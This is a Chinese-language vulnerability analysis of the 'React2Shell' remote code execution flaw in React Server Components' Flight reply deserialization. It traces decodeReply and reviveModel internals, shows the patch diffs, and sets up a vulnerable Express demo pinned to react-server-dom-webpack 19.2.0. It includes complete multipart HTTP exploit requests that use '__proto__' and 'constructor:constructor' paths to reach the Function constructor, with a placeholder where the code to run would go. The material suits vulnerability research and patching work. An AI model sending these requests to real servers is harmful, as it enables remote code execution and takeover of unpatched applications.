React2Shell 分析总结

// Server → Client：生成 Flight 数据流
import { renderToPipeableStream } from 'react-server-dom-webpack/server';

app.get('/rsc', (req, res) => {
  const { pipe } = renderToPipeableStream(<App />, webpackMap, {
    onShellReady() {
      res.setHeader('Content-Type', 'text/x-component');
      // 把 Flight 流写到 HTTP 响应里
      pipe(res);
    },
  });
});

// 文本 / urlencoded 场景：使用 decodeReply
import { decodeReply } from 'react-server-dom-webpack/server';

app.post('/action', async (req, res) => {
  // 伪代码：把请求体读成字符串 / Buffer
  const body = await getRawBody(req);

  // 由 React 负责把 Flight Reply 反序列化成参数数组
  const args = await decodeReply(body, webpackMap);

  // 通常 args[0] 是要调用的 Server Action，后面是参数
  const [action, ...actionArgs] = args;
  const result = await action(...actionArgs);

  res.json(result);
});

import busboy from 'busboy';
import { decodeReplyFromBusboy } from 'react-server-dom-webpack/server';

app.post('/action', (req, res) => {
  const bb = busboy({ headers: req.headers });

  // 把 Busboy 作为流传给 React，返回一个 thenable
  const reply = decodeReplyFromBusboy(bb, webpackMap);

  // 原始 HTTP 请求流喂给 Busboy
  req.pipe(bb);

  reply
    .then(async (args) => {
      const [action, ...actionArgs] = args;
      const result = await action(...actionArgs);
      res.json(result);
    })
    .catch((err) => {
      res.status(500).end(err.message);
    });
});

const LazyComponent = React.lazy(() => import('./LazyComponent'));

{
  "$L": "./LazyComponent"
}

// 在客户端触发的 Server Action 调用
function fetchData(action) {
  return fetch('/server-action', {
    method: 'POST',
    body: JSON.stringify({ action }),
  });
}

{
  "$F": "fetchData",
  "args": ["/server-action"]
}

// 服务器端恢复函数引用并执行
const { fetchData } = require('./serverActions');
fetchData('/server-action');

// server/actions.js
async function addTodo(text) { /* ... */ }
async function deleteTodo(id) { /* ... */ }

export const actions = {
  addTodo,
  deleteTodo,
};

{
  "type": "action",
  "id": "addTodo",
  "args": ["Buy milk"]
}

// server/flight-reply-handler.js
import { actions } from './actions.js';

app.post('/flight', async (req, res) => {
  // ① 从客户端读“Flight 数据流”（这里简化成 JSON）
  const payload = JSON.parse(req.body);

  // ② 只处理 type=action
  if (payload.type !== 'action') {
    return res.status(400).end('bad type');
  }

  // ③ 只允许调用「预先注册在 actions 映射」里的函数
  const fn = actions[payload.id];
  if (typeof fn !== 'function') {
    return res.status(400).end('unknown action');
  }

  // ④ 参数当作普通数据使用
  const result = await fn(...payload.args);
  res.json({ ok: true, result });
});

// 允许两种记录:
// 1. 调用预注册的 action（安全的）
// 2. 调用某个模块的某个导出（危险的）
{
  "type": "callModule",
  "module": "./safeMath.js",
  "export": "sum",
  "args": [1, 2]
}

//  漏洞示例：过度通用的反序列化逻辑
app.post('/flight', async (req, res) => {
  const payload = JSON.parse(req.body);

  if (payload.type === 'action') {
    // 和刚才一样
    const fn = actions[payload.id];
    if (typeof fn !== 'function') {
      return res.status(400).end('unknown action');
    }
    const result = await fn(...payload.args);
    return res.json({ ok: true, result });
  }

  if (payload.type === 'callModule') {
    // 把「客户端字符串」当模块名和导出名来 require / 调用
    const mod = await import(payload.module);
    const fn = mod[payload.export];

    if (typeof fn !== 'function') {
      return res.status(400).end('not a function');
    }

    const result = await fn(...payload.args);
    return res.json({ ok: true, result });
  }

  res.status(400).end('unknown type');
});

{
  "type": "callModule",
  "module": "某个库或内部模块",
  "export": "某个本不该给前端直接调用的危险函数",
  "args": ["攻击者想要的参数"]
}

const mod = await import("某个库或内部模块");
const fn = mod["某个本不该给前端直接调用的危险函数"];
await fn("攻击者想要的参数");

// 场景 1: Server Action 调用
<form action={serverAction}>
  <input name="username" />
</form>
// 场景 2: startTransition 中调用 Server Action  
startTransition(() => {
  serverAction(complexData);
});

HTTP POST 请求
  ↓
decodeReply(formData, serverReferenceMap)
  ↓
createServerResponse() // 创建响应对象
  ↓
parseReply(formData)   // 解析 FormData
  ↓
  每个字段:
    ↓
    initializeModelChunk(json)
      ↓
      JSON.parse(json, reviveModel)
        ↓
        parseModelString(value)
          ↓
          处理特殊前缀:
          - $F → createBoundServerReference (验证安全性)
          - $T → readTemporaryReference (Proxy 保护)
          - $B → 获取 Blob
          - $Q, $W → 构建 Map/Set
          - $123 → getOutlinedModel (解析引用)
  ↓
返回完整的 JavaScript 对象/函数

@@ -427,7 +574,7 @@ function reviveModel(
             value[key],
             childRef,
           );
-          if (newValue !== undefined) {
+          if (newValue !== undefined || key === '__proto__') {
             // $FlowFixMe[cannot-write]
             value[key] = newValue;
           } else {
@@ -441,24 +588,42 @@ function reviveModel(
   return value;
 }

+import hasOwnProperty from 'shared/hasOwnProperty';
+
 export type ServerManifest = {
   [string]: Array<string>,
 };
@@ -78,7 +80,10 @@ export function preloadModule<T>(
 
 export function requireModule<T>(metadata: ClientReference<T>): T {
   const moduleExports = parcelRequire(metadata[ID]);
-  return moduleExports[metadata[NAME]];
+  if (hasOwnProperty.call(moduleExports, metadata[NAME])) {
+    return moduleExports[metadata[NAME]];
+  }
+  return (undefined: any);
 }

+function fulfillReference(
+  response: Response,
+  reference: InitializationReference,
+  value: any,
+): void {
+  const {handler, parentObject, key, map, path} = reference;
+
+  for (let i = 1; i < path.length; i++) {
+    // The server doesn't have any lazy references but we unwrap Chunks here in the same way as the client.
+    while (value instanceof ReactPromise) {
+      const referencedChunk: SomeChunk<any> = value;
+      switch (referencedChunk.status) {
+        case RESOLVED_MODEL:
+          initializeModelChunk(referencedChunk);
+          break;
+      }
+      switch (referencedChunk.status) {
+        case INITIALIZED: {
+          value = referencedChunk.value;
+          continue;
+        }
+        case BLOCKED:
+        case PENDING: {
...
+      }
+    }
+    const name = path[i];
+    if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
+      value = value[name];
+    }
+  }
@@ -612,28 +884,79 @@ function getOutlinedModel<T>(
     case INITIALIZED:
       let value = chunk.value;
       for (let i = 1; i < path.length; i++) {
-        value = value[path[i]];
+        // The server doesn't have any lazy references but we unwrap Chunks here in the same way as the client.
+        while (value instanceof ReactPromise) {
+          const referencedChunk: SomeChunk<any> = value;
+          switch (referencedChunk.status) {
+            case RESOLVED_MODEL:
+              initializeModelChunk(referencedChunk);
+              break;
+          }
+          switch (referencedChunk.status) {
+            case INITIALIZED: {
+              value = referencedChunk.value;
+              break;
+            }
+            case BLOCKED:
+            case PENDING: {
+              return waitForReference(
...
+              );
+            }
+            default: {
+              // This is an error. Instead of erroring directly, we're going to encode this on
+              // an initialization handler so that we can catch it at the nearest Element.
+              if (initializingHandler) {
+                initializingHandler.errored = true;
+                initializingHandler.value = null;
+                initializingHandler.reason = referencedChunk.reason;
+              } else {
+                initializingHandler = {
+                  chunk: null,
+                  value: null,
+                  reason: referencedChunk.reason,
+                  deps: 0,
+                  errored: true,
+                };
+              }
+              return (null: any);
+            }
+          }
+        }
+        const name = path[i];
+        if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
+          value = value[name];
+        }

function runTask(task, options = {}) {
  // 通过配置指定用哪个 engine 模块
  const engineName = options.engine || 'default-engine';
  // 动态加载模块（危险点）
  const engine = require(engineName);
  return engine.run(task);
}

options.engine = 'child_process';  // 然后 engine.run 里面做了啥就很关键

// packages/react-server-dom-webpack/src/server/ReactFlightDOMServerNode.js

export function decodeReplyFromBusboy<T>(
  busboyStream: BusboyStream,  //  multipart 流
  webpackMap: ServerManifest,
  options?: FlightServerOptions,
): Thenable<T> {
  const response = createResponse(webpackMap, '', options);
  // ...

busboyStream.on('field', (name, value) => {
  if (pendingFiles > 0) {
    queuedFields.push(name, value);
  } else {
    resolveField(response, name, value);  // 核心点
  }
});
```

------Boundary
Content-Disposition: form-data; name="0"
{"data": "..."}
------Boundary

// packages/react-server/src/ReactFlightReplyServer.js

export function resolveField(
  response: Response,
  key: string,        // name 值 "0"
  value: string,      // value值 '{"data": "..."}'
): void {
  const chunks = response._chunks;
  const prefix = key[0];  // "0"
  const id = parseInt(key.slice(1), 16);  // 解析 ID
  
  const chunk = chunks.get(id);
  if (chunk) {
    resolveModelChunk(response, chunk, value, id);  // 核心点
  }
}

function resolveModelChunk<T>(
  response: Response,
  chunk: SomeChunk<T>,
  value: string,      // value值 '{"data": "..."}' 
  id: number,
): void {
  // ...
  const resolvedChunk: ResolvedModelChunk<T> = (chunk: any);
  resolvedChunk.status = RESOLVED_MODEL;  // 标记状态
  resolvedChunk.value = value;
  resolvedChunk.reason = {id, [RESPONSE_SYMBOL]: response};
  
  if (resolveListeners !== null) {
    initializeModelChunk(resolvedChunk);   // 核心点
  }
}

function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
  const resolvedModel = chunk.value;  // 获取 JSON 字符串
  
  try {
    const rawModel = JSON.parse(resolvedModel);  // ← 解析 JSON
    
    const value: T = reviveModel(   // 核心点
      response,
      {'': rawModel},
      '',
      rawModel,
      rootReference,
    );
    // ...
  }
}

function reviveModel(
  response: Response,
  parentObj: Object,
  key: string,
  value: JSONValue,
  reference: void | string,
): any {
  // 处理字符串（可能包含特殊引用）
  if (typeof value === 'string') {
    return parseModelString(  // 这里用于处理特殊字符串
      response, 
      parentObj, 
      key, 
      value, 
      reference
    );
  }
  
  // 处理对象
  if (typeof value === 'object' && value !== null) {
    for (const k in value) {
      const newValue = reviveModel(
        response,
        value,
        k,
        value[k],
        childRef,
      );
      
      //  原型链污染点（修复前）
      if (newValue !== undefined) {
        value[k] = newValue;  // 当 k = "__proto__" 时污染原型
      }
      
      // 修复后
      if (newValue !== undefined || k === '__proto__') {
        value[k] = newValue;  // __proto__ 被当作普通属性
      }
    }
  }
  
  return value;
}

{
  "data": "test",
  "__proto__": {
    "isAdmin": true
  }
}

// 第一次递归：处理最外层对象
reviveModel(response, {}, '', {整个对象}, undefined)
  ↓
  for (const k in value)  // k = "data", "__proto__"
    ↓
    当 k = "__proto__" 时：
      value["__proto__"] = {isAdmin: true}  // 从而触发原型链污染

{
  "action": "$F1"
}

parseModelString(response, obj, "action", "$F1", ...)
  ↓
  识别 "$F" → Server Reference
  ↓
  ref = "1"
  ↓
  调用 getOutlinedModel(response, "1", obj, "action", Reference)

function getOutlinedModel<T>(
  response: Response,
  reference: string,  // 用户可控
  parentObject: Object,
  key: string,
  map: (response, model, parentObject, key) => T,
): T {
  // 解析路径
  const path = reference.split(':');  
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        const name = path[i];  //  可控点
        // 修复前：直接访问
        value = value[name];  
        // 如果 name = "__proto__"：
        // value = value["__proto__"]
        // → 访问 Object.prototype ，实现原型链污染
        // 修复后：检查自有属性
        if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
          value = value[name];
        }
      }
      return map(response, value, parentObject, key);
  }
}

name="0": {"action": "$F1"}
name="1": {"id": "app/testAction.js#test", "bound": null}

// 入口
resolveField(response, "0", '{"action": "$F1"}')
  ↓
  key = "0"
  id = parseInt("0", 16) = 0
  ↓
  resolveModelChunk(response, chunk[0], '{"action": "$F1"}', 0)
  ↓
  chunk[0].status = RESOLVED_MODEL
  chunk[0].value = '{"action": "$F1"}'  // 原始 JSON 字符串
  ↓
  initializeModelChunk(chunk[0])

initializeModelChunk(chunk[0])
  ↓
  const resolvedModel = chunk[0].value;  // '{"action": "$F1"}'
  ↓
  const rawModel = JSON.parse(resolvedModel);
  // rawModel = {action: "$F1"}
  ↓
  reviveModel(response, {'': rawModel}, '', rawModel, undefined)

reviveModel(response, {'': rawModel}, '', {action: "$F1"}, undefined)
  ↓
  typeof value === 'object' → true
  ↓
  // 遍历对象属性
  for (const k in {action: "$F1"}) {
    // k = "action"
    // value[k] = "$F1"
    
    const newValue = reviveModel(
      response,
      rawModel,
      "action",
      "$F1",           // ← 字符串值
      "0:action"
    );
  }

reviveModel(response, rawModel, "action", "$F1", "0:action")
  ↓
  typeof "$F1" === 'string' → true
  ↓
  return parseModelString(
    response, 
    rawModel,      // parentObject
    "action",      // key
    "$F1",         // value
    "0:action"     // reference
  );

parseModelString(response, rawModel, "action", "$F1", "0:action")
  ↓
  value[0] === '$' → true
  value[1] === 'F' → true  // Server Reference 标记
  ↓
  case 'F': {
    const ref = value.slice(2);  // "$F1" → "1"
    
    return getOutlinedModel(
      response, 
      "1",              // ← 引用 chunk[1]
      rawModel,         // parentObject = {action: "$F1"}
      "action",         // key
      loadServerReference  // map 函数
    );
  }

getOutlinedModel(response, "1", rawModel, "action", loadServerReference)
  ↓
  //  解析引用路径
  const path = "1".split(':');
  // path = ["1"]  ← 只有一个元素！
  
  const id = parseInt("1", 16);  // id = 1
  const chunk = getChunk(response, 1);  // 获取 chunk[1]

getChunk(response, 1)
  ↓
  chunk = response._chunks.get(1);
  if (!chunk) {
    //  创建 PENDING 状态的 chunk
    chunk = createPendingChunk(response);
    response._chunks.set(1, chunk);
  }
  return chunk;  // 返回 PENDING 状态的 chunk

switch (chunk.status) {
  case PENDING:
  case BLOCKED:
    //  等待 chunk[1] 初始化
    return waitForReference(chunk, rawModel, "action", response, loadServerReference, path);
}

resolveField(response, "1", '{"id": "app/testAction.js#test", "bound": null}')
  ↓
  id = 1
  chunk = response._chunks.get(1);  // 获取或创建
  ↓
  resolveModelChunk(response, chunk[1], '{"id": ...}', 1)
  ↓
  initializeModelChunk(chunk[1])
  ↓
  JSON.parse('{"id": "app/testAction.js#test", "bound": null}')
  // rawModel = {
  //   id: "app/testAction.js#test",
  //   bound: null
  // }
  ↓
  reviveModel(response, {'': rawModel}, '', rawModel, "1")
  ↓
  // 遍历属性
  for (const k in rawModel) {
    // k = "id": 值是字符串，不需要特殊处理
    // k = "bound": 值是 null，不需要特殊处理
  }
  ↓
  // 初始化完成
  chunk[1].status = INITIALIZED
  chunk[1].value = {
    id: "app/testAction.js#test",
    bound: null
  }

getOutlinedModel(response, "1", rawModel, "action", loadServerReference)
  ↓
  chunk = chunk[1]
  chunk.status = INITIALIZED  //  已初始化
  ↓
  case INITIALIZED:
    let value = chunk.value;
    // value = {
    //   id: "app/testAction.js#test",
    //   bound: null
    // }
    
    //  遍历路径
    for (let i = 1; i < path.length; i++) {
      // path = ["1"]
      // path.length = 1
      // i 从 1 开始
      // 1 < 1 → false
      //  不会进入循环！
    }
    
    // 直接调用 map 函数
    return loadServerReference(
      response, 
      value,      // {id: "app/testAction.js#test", bound: null}
      rawModel,   // {action: "$F1"}
      "action"    // key
    );

loadServerReference(
  response,
  {id: "app/testAction.js#test", bound: null},  // metaData
  rawModel,  // parentObject
  "action"   // key
)
  ↓
  const id = metaData.id;  // "app/testAction.js#test"
  
  if (typeof id !== 'string') {
    return (null: any);
  }
  
  //  解析服务器引用
  const serverReference = resolveServerReference(response._bundlerConfig, id);
  // 返回类似：
  // {
  //   id: "app/testAction.js",
  //   name: "test",
  //   chunks: ["chunk-abc123"]
  // }
  
  // 🔍预加载模块
  let promise = preloadModule(serverReference);
  
  if (!promise) {
    // 同步可用
    const resolvedValue = requireModule(serverReference);
    // 等价于：
    // const module = require("app/testAction.js");
    // return module["test"];
    
    return resolvedValue;
  }
 

// loadServerReference 返回后
rawModel["action"] = 返回的函数引用

// 最终 chunk[0].value 变为：
{
  action: [Function: test]  // 指向 app/testAction.js 的 test 函数
}

用户请求
    ↓
[1] decodeReplyFromBusboy() - 解析 multipart 数据
    ↓
[2] resolveField() - 处理字段
    ↓
[3] resolveModelChunk() - 标记为 RESOLVED_MODEL
    ↓
[4] initializeModelChunk() - JSON.parse() 解析数据
    ↓
[5] reviveModel() - 递归恢复对象结构
    ↓
[6] parseModelString() - 识别标记
    ↓
[7] getOutlinedModel() - 获取引用数据
    ↓
[8] loadServerReference() - 加载服务器函数引用
    ↓
[9] requireModule() - 加载模块导出
    ↓
[10] moduleExports[metadata[NAME]]

Input (multipart/form-data)     ←【source】
       │
       ▼
decodeReplyFromBusboy
       │   
       ▼
parseModelString
       │
       ▼
reviveModel()
   ├──> if (newValue !== undefined) value[key] = newValue   ←【sink】
   │         └───────┐
   │                 ▼
   │        key === "__proto__" → prototype chain pollution
   │
   └──> loadServerReference() 

function getOutlinedModel<T>(
  response: Response,
  reference: string,  // 用户可控
  parentObject: Object,
  key: string,
  map: (response, model, parentObject, key) => T,
): T {
  // 解析路径
  const path = reference.split(':');  
  const id = parseInt(path[0], 16);
  const chunk = getChunk(response, id);
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;
      for (let i = 1; i < path.length; i++) {
        const name = path[i];  //  可控点
        // 修复前：直接访问
        value = value[name];  
        // 如果 name = "__proto__"：
        // value = value["__proto__"]
        // → 访问 Object.prototype ，实现原型链污染
        // 修复后：检查自有属性
        if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
          value = value[name];
        }
      }
      return map(response, value, parentObject, key);
  }
}

name="0": {"action": "$F1"}
name="1": {"id": "app/testAction.js#test", "bound": null}

const path = reference.split(':');
// reference = "1"   → path = ["1"]  → 无需遍历

name="0": {"action": "$F1:a"}
name="1": {"id": "app/testAction.js#test", "bound": null}

const path = reference.split(':');
// reference = "1:a"     → path = ["1", "a"]    → 遍历 1 次 

name="0": {"action": "$F1:a:b"}
name="1": {"id": "app/testAction.js#test", "bound": null}

const path = reference.split(':');
// reference = "1:a:b"   → path = ["1", "a", "b"] → 遍历 2 次 

let value = chunk.value;
...
const name = path[i]; 
value = value[name];  

a[b]

name="0": {"action": "$F1:__proto__:constructor"}
name="1": {"id": "app/testAction.js#test", "bound": null}

reference = "1:__proto__:constructor"
  ↓
path = ["1", "__proto__", "constructor"]
  ↓
value = chunk[1].value;  // {id: "...", bound: null}
  ↓
for (let i = 1; i < 3; i++) {
  // i = 1:
  const name = "__proto__";
 
  value = value["__proto__"];  // → Object.prototype
  
  const name = "constructor";
  
  value = value["constructor"];  // → Function
}

"1:__proto__:constructor:constructor"
                        │
                        ▼
      resolvePropertyReference(chunk1, ["__proto__", "constructor", "constructor"])
                        │
                        ▼
          Function ←  任意代码执行 gadget

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"恶意代码","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

// server.js
const express = require('express');
const busboy = require('busboy');
const app = express();
let decodeReply, decodeReplyFromBusboy;
async function initReactServer() {
  const module = await import('react-server-dom-webpack/server');
  decodeReplyFromBusboy = module.decodeReplyFromBusboy;
}
app.post('/api/decode-busboy', async (req, res) => {
  try {
    const bb = busboy({ headers: req.headers });
    const reply = decodeReplyFromBusboy(bb);
    req.pipe(bb);
    const args = await reply;
    res.json({
      success: true,
      method: 'decodeReplyFromBusboy',
      decodedData: args,
    });

  } catch (error) {
    res.status(500).json({
      success: false,
      error: error.message,
    });
  }
});

async function start() {
  await initReactServer();
  const PORT = process.env.PORT || 3000;
  app.listen(PORT, () => {
    console.log(`✨ Server running on http://localhost:${PORT}`);
    console.log(`   POST http://localhost:${PORT}/api/decode-busboy`);
  });
}
start();

{
  "name": "nextjs-rsc-decode-demo",
  "version": "1.0.0",
  "description": "Demo for React Server Components decodeReply and decodeReplyFromBusboy",
  "type": "commonjs",
  "scripts": {
    "dev": "node --conditions react-server server.js",
    "start": "node --conditions react-server server.js"
  },
  "dependencies": {
    "express": "^4.18.2",
    "react": "19.2.0",
    "react-dom": "19.2.0",
    "react-server-dom-webpack": "19.2.0",
    "busboy": "^1.6.0"
  },
  "devDependencies": {
    "@types/busboy": "^1.5.0"
  }
}

POST /api/decode-busboy HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 530

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":0,"value":"{\"then\":\"$B\"}","_response":{"_prefix":"恶意代码","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@abc"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

name="0": {
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": 0,
  "value": "{\"then\":\"$B\"}",
  "_response": {
    "_prefix": "恶意代码",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}

name="1": "$@abc"

resolveField(response, "0", '{"then":"$1:__proto__:then",...}')
  ↓
  key = "0"
  id = parseInt("0", 16) = 0
  ↓
  chunk = response._chunks.get(0);  // undefined
  chunk = createPendingChunk(response);
  response._chunks.set(0, chunk);
  ↓
  resolveModelChunk(response, chunk[0], '{"then":"$1:...",...}', 0)

resolveModelChunk(response, chunk[0], value, 0)
  ↓
  chunk[0].status = RESOLVED_MODEL;
  chunk[0].value = '{"then":"$1:__proto__:then",...}';  // 原始 JSON
  chunk[0].reason = {id: 0, [RESPONSE_SYMBOL]: response};
  ↓
  // 没有 listeners，不会立即初始化
  // 等待 getRoot() 调用

resolveField(response, "1", '"$@abc"')
  ↓
  id = 1
  chunk[1] = createPendingChunk(response);
  ↓
  resolveModelChunk(response, chunk[1], '"$@abc"', 1)
  ↓
  initializeModelChunk(chunk[1])
  ↓
  const rawModel = JSON.parse('"$@abc"');
  // rawModel = "$@abc"  (字符串)
  ↓
  reviveModel(response, {'': "$@abc"}, '', "$@abc", "1")

reviveModel(response, obj, '', "$@abc", "1")
  ↓
  typeof "$@abc" === 'string' → true
  ↓
  parseModelString(response, obj, '', "$@abc", "1")
  ↓
  value[0] === '$' → true
  value[1] === '@' → true  // Chunk Reference 标记
  ↓
  case '@': {
    const id = parseInt(value.slice(2), 16);
    // "$@abc" → "abc"
    // parseInt("abc", 16) = 2748
    
    // 🔍 获取 chunk[2748]
    const chunk = getChunk(response, 2748);
    return chunk;  // 返回 chunk 对象本身
  }

getChunk(response, 2748)
  ↓
  chunk = response._chunks.get(2748);  // undefined
  ↓
  // 🔍 chunk 不存在，检查 FormData
  const key = "0" + (2748).toString(16);  // "0abc"
  const backingEntry = response._formData.get("0abc");
  
  if (backingEntry != null) {
    // FormData 中有 "0abc" 字段吗？没有！
  } else if (response._closed) {
    // 响应关闭了吗？还没有！
  } else {
    // 🔍 创建 PENDING chunk
    chunk = createPendingChunk(response);
    response._chunks.set(2748, chunk);
  }
  return chunk;

// initializeModelChunk 继续
const value = reviveModel(...);  // 返回 chunk[2748]（PENDING）
  ↓
  // 🔍 chunk[1] 初始化为 PENDING 的 chunk[2748]
  chunk[1].status = INITIALIZED;
  chunk[1].value = chunk[2748];  // ← 指向 PENDING chunk

chunk[0] = {
  status: 'fulfilled',
  value: {id: "123", name: "test"},  // ← 普通对象
}

chunk[1] = {
  status: 'fulfilled',
  value: chunk[2748],  // ← 另一个 Chunk 对象！
}

name="0": {...}
  ↓
chunk[0] 包含 "then": "$1:__proto__:then"
  ↓ 解析 "$1:..."
  ↓ 引用 chunk[1]
  ↓
chunk[1] 的值是 "$@abc"
  ↓ 解析 "$@abc"
  ↓ 引用 chunk[2748]
  ↓
chunk[2748] = PENDING (没有对应的数据)
  ↓
等待... (永远不会到来)

initializeModelChunk(chunk[0])
  ↓
  const resolvedModel = chunk[0].value;
  // '{"then":"$1:__proto__:then","status":"resolved_model",...}'
  ↓
  chunk[0].status = BLOCKED;  // 设置为 BLOCKED
  ↓
  const rawModel = JSON.parse(resolvedModel);
  // rawModel = {
  //   then: "$1:__proto__:then",
  //   status: "resolved_model",
  //   reason: 0,
  //   value: '{"then":"$B"}',
  //   _response: {
  //     _prefix: "恶意代码",
  //     _formData: {get: "$1:constructor:constructor"}
  //   }
  // }
  ↓
  const value = reviveModel(response, {'': rawModel}, '', rawModel, "0");

reviveModel(response, {'': rawModel}, '', rawModel, "0")
  ↓
  typeof rawModel === 'object' → true
  ↓
  //  遍历对象的所有属性
  for (const k in rawModel) {
    // k 依次为：
    // - "then"
    // - "status"  
    // - "reason"
    // - "value"
    // - "_response"
    
    const newValue = reviveModel(
      response,
      rawModel,
      k,
      rawModel[k],
      "0:" + k
    );
    
    // 设置新值
    if (newValue !== undefined || k === '__proto__') {
      rawModel[k] = newValue;
    }
  }

// k = "then", rawModel[k] = "$1:__proto__:then"
reviveModel(response, rawModel, "then", "$1:__proto__:then", "0:then")
  ↓
  typeof "$1:__proto__:then" === 'string' → true
  ↓
  parseModelString(response, rawModel, "then", "$1:__proto__:then", "0:then")
  ↓
  value[0] === '$' → true
  value[1] === '1' → true (不是特殊标记)
  ↓
  default: {  // 处理路径引用
    const ref = value.slice(1);  // "1:__proto__:then"
    return getOutlinedModel(
      response,
      "1:__proto__:then",  // ← reference
      rawModel,             // parentObject
      "then",               // key
      createModel,          // map 函数
    );
  }

getOutlinedModel(response, "1:__proto__:then", rawModel, "then", createModel)
  ↓
  const path = "1:__proto__:then".split(':');
  // path = ["1", "__proto__", "then"]
  
  const id = parseInt("1", 16) = 1;
  const chunk = getChunk(response, 1);  // chunk[1]
  ↓
  switch (chunk.status) {
    case INITIALIZED:
      let value = chunk.value;  
      //  chunk[1].value = chunk[2748]（PENDING）
      
      //  遍历路径
      for (let i = 1; i < 3; i++) {
        // i = 1:
        const name = path[1];  // "__proto__"
        
        //  检查 value 的类型
        while (value instanceof ReactPromise) {
          const referencedChunk = value;  // chunk[2748]
          
          switch (referencedChunk.status) {
            case PENDING:
              //  chunk[2748] 是 PENDING 状态
              // 需要等待初始化
      
              // 但 chunk[2748] 不存在对应的数据，永远不会初始化 就会卡住
              
              // 实际上，这里会调用 waitForReference
              return waitForReference(
                referencedChunk,  // chunk[2748]
                rawModel,         // parentObject
                "then",           // key
                response,
                createModel,
                ["1", "__proto__", "then"]  // 剩余路径
              );
          }
        }
      }
  }

waitForReference(
  chunk[2748],  // PENDING chunk
  rawModel,     // parentObject
  "then",       // key
  response,
  createModel,
  ["1", "__proto__", "then"]
)
  ↓
  //  创建或获取 handler
  let handler;
  if (initializingHandler) {
    handler = initializingHandler;
    handler.deps++;
  } else {
    handler = initializingHandler = {
      chunk: null,
      value: null,
      reason: null,
      deps: 1,
      errored: false,
    };
  }
  
  // 创建引用对象
  const reference = {
    handler,
    parentObject: rawModel,
    key: "then",
    map: createModel,
    path: ["1", "__proto__", "then"],
  };
  
  //  添加到 chunk[2748] 的监听器
  if (chunk[2748].value === null) {
    chunk[2748].value = [reference];
  } else {
    chunk[2748].value.push(reference);
  }
  
  if (chunk[2748].reason === null) {
    chunk[2748].reason = [reference];
  } else {
    chunk[2748].reason.push(reference);
  }
  
  // 返回占位值
  return (null: any);

// 回到 reviveModel
for (const k in rawModel) {
  // "then" 处理完毕，返回 null
  rawModel["then"] = null;  // 或保持原值
  
  //  继续处理 "status"
  // k = "status", value = "resolved_model"
  rawModel["status"] = "resolved_model";  // 保持不变（字符串）
  
  //  继续处理 "reason"
  // k = "reason", value = 0
  rawModel["reason"] = 0;  // 保持不变（数字）
  
  //  继续处理 "value"
  // k = "value", value = '{"then":"$B"}'
  rawModel["value"] = '{"then":"$B"}';  // 保持不变（字符串）
  
  //  继续处理 "_response"
  // k = "_response", value = {...}
  const newValue = reviveModel(
    response,
    rawModel,
    "_response",
    {_prefix: "...", _formData: {...}},
    "0:_response"
  );
}

reviveModel(response, rawModel, "_response", {_prefix: "...", _formData: {...}}, "0:_response")
  ↓
  typeof value === 'object' → true
  ↓
  // 递归处理 _response 的属性
  for (const k in {_prefix: "...", _formData: {...}}) {
    // k = "_prefix"
    // value = "var out = process.mainModule.require(...)..."
    // 字符串，不做处理
    
    // k = "_formData"
    // value = {get: "$1:constructor:constructor"}
    const newValue = reviveModel(
      response,
      _response,
      "_formData",
      {get: "$1:constructor:constructor"},
      "0:_response:_formData"
    );
  }

reviveModel(response, _formData, "get", "$1:constructor:constructor", ...)
  ↓
  parseModelString(response, _formData, "get", "$1:constructor:constructor", ...)
  ↓
  default: {
    const ref = "1:constructor:constructor";
    return getOutlinedModel(
      response,
      "1:constructor:constructor",
      _formData,
      "get",
      createModel,
    );
  }

getOutlinedModel(response, "1:constructor:constructor", _formData, "get", createModel)
  ↓
  const path = ["1", "constructor", "constructor"];
  const id = 1;
  const chunk = chunk[1];  // INITIALIZED
  ↓
  let value = chunk[1].value;  // chunk[2748]（PENDING）
  
  //  遍历路径
  for (let i = 1; i < 3; i++) {
    // i = 1:
    while (value instanceof ReactPromise) {
      const referencedChunk = value;  // chunk[2748]
      
      switch (referencedChunk.status) {
        case PENDING:
          // 又遇到 PENDING chunk
          // 再次等待
          return waitForReference(
            chunk[2748],
            _formData,
            "get",
            response,
            createModel,
            ["1", "constructor", "constructor"]
          );
      }
    }
  }

parseModelString(response, _formData, "get", "$1:constructor:constructor", "0:_response:_formData:get")

// 默认分支：
const ref = "1:constructor:constructor";
return getOutlinedModel(response, ref, _formData, "get", createModel);

path = ["1", "constructor", "constructor"]
id = parseInt("1", 16) = 1
chunk = getChunk(response, 1) → 对应 payload 里 name="1" 那一段（"$@abc"）

// 初始化后
